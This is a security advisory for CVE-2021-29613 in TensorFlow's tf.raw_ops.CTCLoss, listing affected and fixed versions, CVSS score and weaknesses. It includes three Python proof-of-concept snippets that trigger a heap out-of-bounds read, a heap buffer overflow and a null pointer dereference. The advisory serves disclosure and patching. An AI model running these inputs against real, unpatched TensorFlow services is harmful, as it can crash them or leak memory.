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  5. CVE-2021-29613

CVE-2021-29613: Incomplete validation in `tf.raw_ops.CTCLoss`

May 21, 2021 (updated November 13, 2024)

Incomplete validation in tf.raw_ops.CTCLoss allows an attacker to trigger an OOB read from heap:

import tensorflow as tf

inputs = tf.constant([], shape=[10, 16, 0], dtype=tf.float32)
labels_indices = tf.constant([], shape=[8, 0], dtype=tf.int64)
labels_values = tf.constant([-100] * 8, shape=[8], dtype=tf.int32)
sequence_length = tf.constant([-100] * 16, shape=[16], dtype=tf.int32)

tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices,
labels_values=labels_values, sequence_length=sequence_length,
preprocess_collapse_repeated=True, ctc_merge_repeated=False,
ignore_longer_outputs_than_inputs=True)

An attacker can also trigger a heap buffer overflow:

import tensorflow as tf

inputs = tf.constant([], shape=[7, 2, 0], dtype=tf.float32)
labels_indices = tf.constant([-100, -100], shape=[2, 1], dtype=tf.int64)
labels_values = tf.constant([-100, -100], shape=[2], dtype=tf.int32)
sequence_length = tf.constant([-100, -100], shape=[2], dtype=tf.int32)

tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices,
labels_values=labels_values, sequence_length=sequence_length,
preprocess_collapse_repeated=False, ctc_merge_repeated=False,
ignore_longer_outputs_than_inputs=False)

Finally, an attacker can trigger a null pointer dereference:

import tensorflow as tf

inputs = tf.constant([], shape=[0, 2, 11], dtype=tf.float32)
labels_indices = tf.constant([], shape=[0, 2], dtype=tf.int64)
labels_values = tf.constant([], shape=[0], dtype=tf.int32)
sequence_length = tf.constant([-100, -100], shape=[2], dtype=tf.int32)

tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices,
labels_values=labels_values, sequence_length=sequence_length,
preprocess_collapse_repeated=False, ctc_merge_repeated=False,
ignore_longer_outputs_than_inputs=False)

References

  • github.com/advisories/GHSA-vvg4-vgrv-xfr7
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-541.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-739.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-250.yaml
  • github.com/tensorflow/tensorflow
  • github.com/tensorflow/tensorflow/commit/14607c0707040d775e06b6817325640cb4b5864c
  • github.com/tensorflow/tensorflow/commit/4504a081af71514bb1828048363e6540f797005b
  • github.com/tensorflow/tensorflow/security/advisories/GHSA-vvg4-vgrv-xfr7
  • nvd.nist.gov/vuln/detail/CVE-2021-29613

Code Behaviors & Features

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Affected versions

All versions before 2.1.4, all versions starting from 2.2.0 before 2.2.3, all versions starting from 2.3.0 before 2.3.3, all versions starting from 2.4.0 before 2.4.2

Fixed versions

  • 2.1.4
  • 2.2.3
  • 2.3.3
  • 2.4.2

Solution

Upgrade to versions 2.1.4, 2.2.3, 2.3.3, 2.4.2 or above.

Impact 7.1 HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H

Learn more about CVSS

Weakness

  • CWE-125: Out-of-bounds Read
  • CWE-665: Improper Initialization

Source file

pypi/tensorflow-gpu/CVE-2021-29613.yml

Spotted a mistake? Edit the file on GitLab.

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